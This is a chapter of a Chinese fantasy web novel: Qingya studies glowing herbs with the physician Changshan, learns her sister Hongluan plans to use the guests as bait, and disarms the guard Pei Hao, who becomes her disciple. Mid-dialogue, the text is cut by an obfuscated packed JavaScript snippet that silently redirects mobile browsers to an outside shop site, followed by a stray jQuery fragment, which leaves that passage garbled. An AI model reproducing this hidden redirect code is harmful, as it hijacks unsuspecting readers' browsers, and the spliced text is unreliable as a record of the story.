19. 溯洄从之,道阻且长2
    “哦——”青崖了然于心,“所以你是故意的,故意让他们多吃苦头。”

    “那姑娘方才一直劝我们多喝汤,是不是故意的?”

    两人四目相对,同时笑出声来。

    三月的夜晚,已不复严寒,万物都在复苏。路边仙草发出淡淡荧光,空气中弥漫着各种植物的味道。

    每次她天黑离开,长山都会送她。他们一人提一只灯笼,在路上多是讨论各种植物,几日下来,青崖记住了长山给各种仙草的命名,长山记录了许多他原本不知道的仙草样貌与特性。

    这日,他们又是边走边聊,一起走过一段路,长山道:“有一件事,希望姑娘能劝劝裴侍卫。”

    青崖好笑道:“你们两个,他要我劝你,你要我劝他,有什么话就你们不能直接对彼此说吗?”

    长山不语,显是到现在都还没完全放下对他们身份的芥蒂。

    “好吧,”青崖道,“你要我劝他什么?”

    然而,长山突然从身边消失了。

    回头一看,他正蹲在一丛草边,盯着一株新发芽的仙草植物,一改片刻前的深沉,新奇地双眼放光。

    “是我没见过的仙草!”那种仙草是一种菇类,像一把小小的伞,他伸手用指尖搭在“伞柄”末端,给仙草“号脉”,“唔,性微寒,味甘、属水,当有止咳、平喘的作用……姑娘可否先熄灭烛火?”

    青崖于是吹灭灯笼,在他身边蹲下,道:“这个啊,春生秋枯,只活三季。”伸手拍了拍那小伞,仙草类植物特有的荧光变得更明亮了。

    淡蓝色荧光照得长山侧颜如同玉像。

    青崖道:“真好看。”

    长山沉迷于在草丛里寻找这种初次看到的仙草,心不在焉道:“是啊,这些发光的仙草,在夜晚时的确好看。”

    青崖觉得有趣,没有纠正他。

    长山观察够了,二人回到路上继续往前走,他接回先前的话题,道:“陵王此番落难,险些丧命。裴侍卫大约认为这是他的失职,他怪自己功夫不佳,没能护好陵王,所以最近从早到晚都在练剑,晚上又为陵王守夜,很少休息。他自己所受的伤尚未完全恢复,若是这样从早到晚拼命练下去,就算一日三餐都吃药粥,身体也会支撑不住……姑娘为何这样看我?”

    青崖笑意盈盈盯着长山,“你简直同我姐姐一样,刀子嘴豆腐心,嘴上说着讨厌他们,其实知道他们不坏,总盼着他们好起来,安全地回去,是不是?”

    树上传来一阵红鸟扑打翅膀的声音,青崖全当听不见。

    “我只是尽一个医者的职责,” 长山生硬道,“如姑娘所说,倘若我父母还在,他们会希望我做一个好大夫,治病救人。”

    “啧,”青崖对于这种总是不够坦白的说话方式再熟悉不过,不欲与之争论,想了想道,“我有办法,明天就能让裴浩少练剑多休息。”

    及至能看到红鸾的房子,长山就告辞折返。他走出没多远,红鸟从树上俯冲落地,化出人形。

    红鸾望着长山的背影,对青崖道:“你今日吹笛子时,吹错了几个音。”

    “是吗?我没注意。”青崖观察着红鸾的脸色,不确定地问:“你是在生气吗?”

    姐姐梦魇时,她也会吹笛安抚。按理说吹错几个音简直不值一提,可姐姐过了半日还非要提起这件事,就让她感到莫名心虚。同时又很纳闷:只是这样一件小事,为什么她会有点不希望让姐姐发现?

    是因为她也给外人吹笛?还是给外人吹笛还吹错音?

    以及,平日里吹奏过上百遍的曲子,当时为什么会出错?

    红鸾没有回答她的问题,而是转移了话题,问:“你要怎么劝裴浩多休息?”

    青崖往红鸾屋里走去,道:“明天你就知道啦。还有,长山那边药材快用完了,有一些需要到结界外面去采,明天我可以出去吗?”

    “有我跟着就可以。最好也让他们中间的随便哪个一起跟着出去。”

    “为什么?”

    “可以看看藏在暗处的人会不会有什么动作,是针对谁。”

    青崖停下脚步,“所以带他们出去,是要拿他们做诱饵?”

    红鸾毫不掩饰:“是。”

    从玉皇山回来后,一直风平浪静。红鸾认为与其守株待兔,不如主动出击。

    青崖一开始想反对把人当诱饵,转念一想,又觉带他们出去试试也好,如果有她与姐姐保护,他们都不能安全走出结界,那么将来如何放心让他们自己离开?

    “这是我熬的汤,你要不要尝尝?”青崖回屋放下食盒,兴致勃勃从里面端出一个的汤碗,揭开碗盖,“我特意给你带了一份。”

    红鸾曾在凡世间游历十余载,吃过凡人饮食,自己也做得一手好菜,一闻即知那汤味道不祥。

    “那三个人喝了都说好喝。”青崖把汤举到她眼前。

    红鸾在青崖期待的目光中,端起汤碗一饮而尽,擦了擦嘴,悠悠道:“女子一开始给人做饭就会没完没了,容易变得苦命,下次别做了。”

    ***

    翌日,风和日丽,裴浩正在屋前空地上练剑。

    每次青崖看到他,他不是在照顾阿远,就是在练剑。

    裴浩宽肩窄腰,手阔腿长,挽起的袖子里露出古铜色的手臂,臂上肌肉紧实,线条流畅。他握着剑时,如同与剑合为一体,将自己也化作一把利剑。

    青崖在赏心悦目之余,不禁感叹,这样看似是个粗犷武人的人,在照顾阿远时,竟能比照顾婴孩的母亲还细致,人的脾性果然既复杂又神奇。

    她远远观察片刻,发现裴浩身段悦目,身法就差了一点,明显气力虚浮,脚步不稳。本该如飞鸟一般轻灵的剑法,被他舞得锐气大减,要是体力再差一点,就要像扑棱蛾子了。

    呼的一下,青崖出其不意,闪身袭向裴浩,重复初见时的那一招,用自己手中的一卷纸筒往剑上一搭一转,一举夺下对方的剑,反将纸筒塞进他手里。

    裴浩只觉青影一闪,手中的剑突然就变成了别的东西。略一定神,看到青衣少女在几步之外好整以暇地把玩着他的剑,惊奇道:“你是怎么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677815|144215||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    做到的,能再做一次吗?”

    青崖依言把同样一招重复两次,裴浩手里握着的东西从纸筒变成剑,又从剑变成纸筒,两次他都没能防住,不禁垂下手沮丧道:“我若有姑娘这样的身手就好了。”

    他今年十八,自小习武,此前在京城同龄人中也算佼佼者,如今在一个比他小一岁的姑娘面前,竟连武器也把持不住,这无疑是一个巨大打击。

    青崖神气道:“你想学吗?我可以教你。”

    裴浩大喜:“青崖姑娘!此话当真?姑娘这样的神功,我也可以练成吗?”

    青崖自认不会什么神功,只是仗着天生速度快,眼力好,凡人招式在她看来如同慢动作,交手之时自然占尽上风。她灵力微弱,怎么修炼都难有进展,反而是她的身法体术,只要稍加练习,就能突飞猛进。所以,她总爱逃避修炼,钟情于靠攀爬跑跳磨炼身法,美名其曰扬长避短,久而久之,敏捷身法居然真有了几分“神功”的味道。

    这种“神功”普通人怕是学不会的。

    不过这话不能现在告诉裴浩,她背起手煞有介事道:“我可以把我的修习方法告诉你,至于能不能练成,就看你自己啦。要我说嘛,你按照我的方法,就算练不成我这样,至少也能让你的能力大有长进。”

    裴浩立即站正抱拳:“请姑娘赐教!”

    青崖一听,兴致高涨,“你们——嗯,你们山外的人把这叫做‘拜师学艺’吧?”

    裴浩毫不犹豫地跪下拜道:“是,我愿拜姑娘为师!”

    论年龄,裴浩比青崖大一岁,论地位,裴浩是陵王侍卫,青崖是个山野闲人。他如此毫不犹豫地行礼,一是这次没能护好陵王,让陵王惨遭虐待,心中万分愧疚,急于提高武力;二是青崖的轻灵身法他平生见所未见闻所未闻,在他看来简直如同仙法,自然十分向往。

    他生怕青崖反悔,错失良机,迫不及待行礼:“师父在上,请受弟子三拜!”

    眼看裴浩要行大礼,青崖忙拉起他道:“喂喂喂,大礼就不必了。”

    她本意只想诓骗裴浩听她的话,多多休息,这么一来,她还真得想办法帮他提高武力了。至于怎么提高,当下也只能想到等他体力好时陪他多切磋练习,别无他法。

    “多谢师父!”裴浩固执地拜了三下才站起。

    青崖眉头微皱:“‘师父’听起来有点老气。”

    裴浩略作思考,改口道:“那——多谢小师父!”

    青崖拍手:“好,那从今日起,你就跟我修习,我教你怎么练,何时练,你都要听从,知道了吗?”

    “谨遵小师父教诲!”

    青崖指着塞进裴浩手中的纸卷道:“你把那个打开。”

    裴浩展开纸页,逐一翻看,共三张纸,其上写满字句,他一目十行地扫过去,只见开头是:

    气盈如渊,万物之宗。和光同尘,湛兮或存。

    结尾是:若屈若拙,清静为正。千里之行,始于足下。

    三页纸每页百字,共约三百字,连起来读,如诗如歌,朗朗上口。